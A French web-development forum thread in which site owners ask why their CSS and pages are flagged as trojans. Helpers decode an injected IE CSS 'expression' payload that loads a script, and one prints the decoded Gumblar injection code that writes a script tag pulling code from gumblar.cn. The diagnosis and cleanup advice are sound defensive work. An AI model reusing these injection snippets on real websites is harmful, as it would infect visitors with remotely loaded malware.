un fichier css est détecté comme un troyen.

Recherche :

Mot : Pseudo : Filtrer
Bas de page
Auteur	Sujet : un fichier css est détecté comme un troyen.

lemagicienillusion

bonjour ou bonsoir à toute et à tous,
j'ai créé un site dont voila l'url: http://www.les-baladins.org
le probleme c'est que tous mes fichier css sont détectés comme des virus troyens.
aurriez vous une solution parce que l'affluence sur le site doit en prendre un sacré coup !
je vous remerci pour le temps que vous me consacrerez.

---------------
http://les-baladins.org

Publicité

NewsletTux

<Insérez ici votre vie />

lol c'est pas mal ça
comment ça se fait que lorsque je tente d'en ouvrir un, je n'ai pas de caractères texte dedans mais des sigles bizarres ? tu l'as encodé ton CSS ?

Message cité 1 fois

---------------
NewsletTux - outil de mailing list en PHP MySQL

lemagicienillusion

NewsletTux a écrit :

lol c'est pas mal ça
comment ça se fait que lorsque je tente d'en ouvrir un, je n'ai pas de caractères texte dedans mais des sigles bizarres ? tu l'as encodé ton CSS ?

euh non je l'ai pas encoder je l'ai taper sous notepad ++

---------------
http://les-baladins.org

kao98

...

Ton site a peut-être été piraté ! Essaye d'uploader à nouveau tes CSS !

Message cité 1 fois

---------------
Kao ..98 - Uplay (R6S) : kao98.7.62x39 - Origin (BF4, BF1) : kntkao98

Bidem

Citation :

mes fichier css sont détectés comme des virus troyens.

Par quoi ?

Citation :

aurriez vous une solution parce que l'affluence sur le site doit en prendre un sacré coup !

Moi c'est le thème "rouge sur orange", les gif animés et le texte noir sur fond bleu nuit qui me rebutent plus.

Message cité 1 fois

lemagicienillusion

kao98 a écrit :

Ton site a peut-être été piraté ! Essaye d'uploader à nouveau tes CSS !

c'est ce que j'ai fait mais rien n'y fais
avast me met: JS:Redirector-B [Trj]
et ce n'est qu'un malheureux fichier texte en .css
c'est po un virus :cry:
help

---------------
http://les-baladins.org

lemagicienillusion

Bidem a écrit :

Citation :

mes fichier css sont détectés comme des virus troyens.

Par quoi ?

Citation :

aurriez vous une solution parce que l'affluence sur le site doit en prendre un sacré coup !

Moi c'est le thème "rouge sur orange", les gif animés et le texte noir sur fond bleu nuit qui me rebutent plus.

détecté par avast et pour le thème c'était le thème image in air avec des fées et tout (la présidente m'a un peu cadré sur les images à mettre) cette année ca sera la télé comme thème: ce sera un peu mieu en déco.

---------------
http://les-baladins.org

krifur

y a ca dans ton css,

body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F (...)
chelou...

edit :une fois decoder le truc donne,

Code :

if (!document.getElementById('JSSS')){ JSS1 = 59; JSS2 = 694730; JSS3 = '/visionneuse/contrib/overlib410/xoso/dummy.htm'; var js = document.createElement('script'); js.setAttribute('src', '/visionneuse/contrib/overlib410/xoso/check.js'); js.setAttribute('id', 'JSSS'); document.getElementsByTagName('head').item(0).appendChild(js) };

en gros c'est senser rajouter un script dans ton <head> qui ce situe dans '/visionneuse/contrib/overlib410/xoso/check.js' mais ce n est pas executer car c est dans un fichier CSS (en tout cas ca n apparait pas dans ta source)...

Message cité 1 fois
Message édité par krifur le 24-07-2008 à 23:00:23

gatsu35

Blablaté par Harko

krifur a écrit :

y a ca dans ton css,

body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F (...)
chelou...

edit :une fois decoder le truc donne,

Code :

if (!document.getElementById('JSSS')){ JSS1 = 59; JSS2 = 694730; JSS3 = '/visionneuse/contrib/overlib410/xoso/dummy.htm'; var js = document.createElement('script'); js.setAttribute('src', '/visionneuse/contrib/overlib410/xoso/check.js'); js.setAttribute('id', 'JSSS'); document.getElementsByTagName('head').item(0).appendChild(js) };

Ca sera forcément exécuté, mais SEULEMENT SOUS IE6/7

donc vire nous cette chiotte de la CSS

edit : et sans vouloir être méchant, revoit juste un peu la créa de ton site, elle date juste des années 90, et fait juste mal aux yeux. en clair on a vraiment, mais alors vraiment pas envie de rester sur le site

Message édité par gatsu35 le 24-07-2008 à 23:02:23

krifur

J'ai rien sous IE6 (putain kesque je fous avec IE6 :??: )
Je capte pas comment le truc peux s interpreter a la limite si le css etait inclu dans le HTML ok mais la c'est un fichier externe ?

Publicité

Dan_A

Microsoft a plusieurs instructions propriétaires qui permettent d'exécuter du javascript au travers de css dont expression ( http://webfx.eae.net/dhtml/cssexpr/cssexpr.html ) et behavior ( http://msdn.microsoft.com/en-us/li [...] S.85).aspx ) ...

krifur

:jap:

lemagicienillusion

voila par exemple un de mes fichier css pour la page d'acceuil ( je change la déco la semaine prochaine lol) car en fait je n'ai jamais prog ce que vous avez marquer dans les post.

codes css page acceuil:
html
{

cursor:url("images/curseur_acceuil.cur" );
}
body
{
background-image:url("images/orange.jpg" );
background-repeat:no-repeat;
background-attachment:fixed;
padding-top:20px;
width:1024px;
height:900px;
margin:auto;
margin-top: 30px;
margin-bottom: 20px;
background-repeat:repeat;
background-position:top;

}

#en_tete
{
margin-top:10px;
margin-left:117px;
width:790px;
height:120px;
border:5px inset red;
}

#menu
{
margin-left:55px;
float:left;
width:160px;
margin-top:20px;

margin-right:5;
}

.element_menu
{
background-color:none;
border-right:5px outset blue;
margin-bottom:20px;
}

.element_menu h3
{

color:yellow;
font-family:Arial,"arial black","Times New Roman",Times,serif;
text-align:center;
font-size:x-large;
font-weight:bold;
text-transform:uppercase;
text-decoration:underline;
font-family:"goudy stout";

}

.element_menu ul
{
list-style-image:url("images/puce_menu.gif" );
padding:0px;
padding-left:50px;
margin:0px;
margin-bottom:5px;
}

.element_menu a
{
color:red;
font:medium,impact;
text-transform:capitalize;
text-decoration:none;
position:relative;
top:-10px;
text-align:center;
}

.element_menu a:hover
{
color:#711866;
font:small,impact;
text-transform:none;
text-decoration:underline;
cursor:url("images/curseur_acceuil2.ani" );
}

#corps
{

width:615px;
padding:5px;
margin-left:288px;
margin-bottom: 20px;
margin-top:20px;

}

.element_corps p
{
font-size:x-large;
color:black;
font-family:'lucida handwriting',arial;
font-weight:normal;

}

.element_corps h1
{
text-align:center;
font-size:x-larger;
font-family:impact;
font-weight:bolder;
color:blue;
}

.element_corps h2
{
color:blue;
}

#pied_de_page
{
margin-left:117px;
width:795px;
height:10px;
background-color:#eceeb2;
margin-top:20px;
border:2px solid black;
text-align:center;
margin-bottom:10px;
}

.news p
{
font-size:x-large;
color:black;
font-family:arial;
font-weight:bold;
}

.news H3
{
font-size:large;
color:blue;
font-family:arial;
font-weight:bold;
text-decoration:underline;
}

.news H2
{
font-size:x-large;
color:red;
font-family:arial;
font-weight:bold;
text-decoration:underline;
}

en tout cas pas de quoi détecter un trj ... enfin je crois pas sinon je n'est pas super bien compris le code des post précédents.

dois-je mettre mon css dans ma page php dans le head entre deux balise style pour résoudre le problème?

sinon pour le thème des années 80, c'est parceque c'est trop flashi? des couleur plus stone serait mieu apprécier sans image de fond ?

merci pour toutes les réponses que vous m'avez déjà apporté.

Message édité par lemagicienillusion le 26-07-2008 à 12:46:07

---------------
http://les-baladins.org

Siluro

bah la police d'écriture, les images, le css... un peu tout en fait.

Lactique

Caraïbe et huile de coco

il serait peut etre bon de re uploader tout le site apres un effacement total du repertoire racine. Le problème est peut etre situé ailleurs dans le site et un fichier php peut écrire en live ce code dans ton fichier css.

Message cité 1 fois

---------------
Studio CréeAll

lemagicienillusion

Lactique a écrit :

OK je fait ça et je vous retiens au courrant.
merci.

---------------
http://les-baladins.org

valerio102

bonjour j'ai aussi ce meme pb sur mon site mais je n'arrive pas a identifier le script qui genere ca :
/head><script language=javascript></script>
<body >

qui peut m'aider ????
merci d'avance

tpierron

Je ne sais pas d'où tu as eu ce script, mais je te conseillerais de l'erradiquer au plus vite de ton site.

Il injecte du code en provenance d'un site "gumblar.cn", répertorié comme malware chez google. À titre d'info, le code exécuté est :

Code :

var a="ScriptEngine", b="Version()+", j="", u=navigator.userAgent;
 
if ((u.indexOf("Win" )>0)&&(u.indexOf("NT 6" )<0 )&& (document.cookie.indexOf("miek=1" )<0) && (typeof(zrvzts)!=typeof("A" )))
{
    zrvzts="A";
    eval("if(window."+a+" )j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;" );
    document.write("<script src=//gumblar.cn/rss/?id="+j+"><\/script>" );
}

Bref, à dégager.

Edit: en général de ce genre de script peut provenir d'une régie publicitaire douteuse (si tu as de la pub sur ton site). Sinon vérifie tes scripts PHP qui ont peut-être une faille permettant l'injection de code dans tes pages (relativement grâve comme trou de sécurité).

Message édité par tpierron le 13-05-2009 à 18:37:25

pyram

Bonsoir à tous,
J'ai exactement ce même problème.
Je me suis donc fait hacké et depuis je ne m'en sors plus; j'en deviens complètement taré !
En effet, un fichier "image.php" est créé dans tous mes dossiers "images", tous les fichiers PHP, HTM, HTML et JS ont eu l'immense joie d'acquérir une portion de code "pourri" devant la balise <body> pour le HTML et juste après <php? pour le PHP, et en fin de fichier pour les JS, du même type que VALERIO102 ci dessus.
En fait, probablement touché sur mon PC, ce "Cheval de troi" a sniffé mes login et mots de passe FTP, s'est illégalement connecté sur mon hébergement pour foutre la m... dans TOUTE la structure de mon hébergement, et vu que je suis en mutualisé chez OVH, que j'ai une bonne dizaine de sites clients, TOUS ont été touchés !!!!!!
J'ai donc:
- nettoyé complètement mon PC (AVG ne trouve rien, j'ai donc réinstallé AVAST
- TOUT downloadé de mon hébergement sur mon PC
- TOUT nettoyé (script pourri + fichiers image.php)
- TOUT scanné par AVAST
- TOUT vérifié au niveau de mes DB (table suspècte - pas trouvée !!!)
- changé mes mots de passe FTP
- bloqué mes multi-FTP

MAIS ça continue encore et encore de revenir !!!!!!!!!

Je ne m'en sors plus !

Quelqu'un aurait-il une idée pour m'aider à m'en sortir ?
J'ai bien trouvé ce lien ( http://www.lepotlatch.org/index.ph [...] aqu%C3%A9s ) qui est l'exactitude de ce que j'ai choppé et qui m'a déjà très bien aidé, mais ça continue quand même !

HEEEELLLLLLLPPPPPPP please !
(

esox_ch

Ré-installe,
C'est la seule façon viable une fois que ton système a été contaminé autant en profondeur

---------------
Si la vérité est découverte par quelqu'un d'autre,elle perd toujours un peu d'attrait

pyram

Réinstaller quoi ?
J'ai déjà tout fait !!!
Réinstallé mon PC et re-uploadé mon hébergement complet après nettoyage !...

Message cité 1 fois

gatsu35

Blablaté par Harko

pyram a écrit :

Réinstaller quoi ?
J'ai déjà tout fait !!!
Réinstallé mon PC et re-uploadé mon hébergement complet après nettoyage !...

mais putain file nous l'url de ton site !!!!!!
sinon tu peux te brosser pour qu'on t'aider

---------------
Blablaté par Harko

Publicité

FORUM HardWare.fr

Programmation

HTML/CSS

un fichier css est détecté comme un troyen.

Sujets relatifs
ecrire dans un fichier sur Windows CE	Malloc / Lecture fichier
[résolu] Boucle fichier dans un repertoire	importé un fichier excel
Batch avec edition d'un fichier et variable	Lire un fichier dans mon application web
[Résolu] Envoi FTP de fichier Excel avec org.apache.commons.net.ftp	inclure un fichier php avec javascript
Recuprer L'URL du fichier Uploader !!	[VB6] Récupérer un fichier image sur le web => Non résolu
Plus de sujets relatifs à : un fichier css est détecté comme un troyen.

Page générée en 0.090 secondes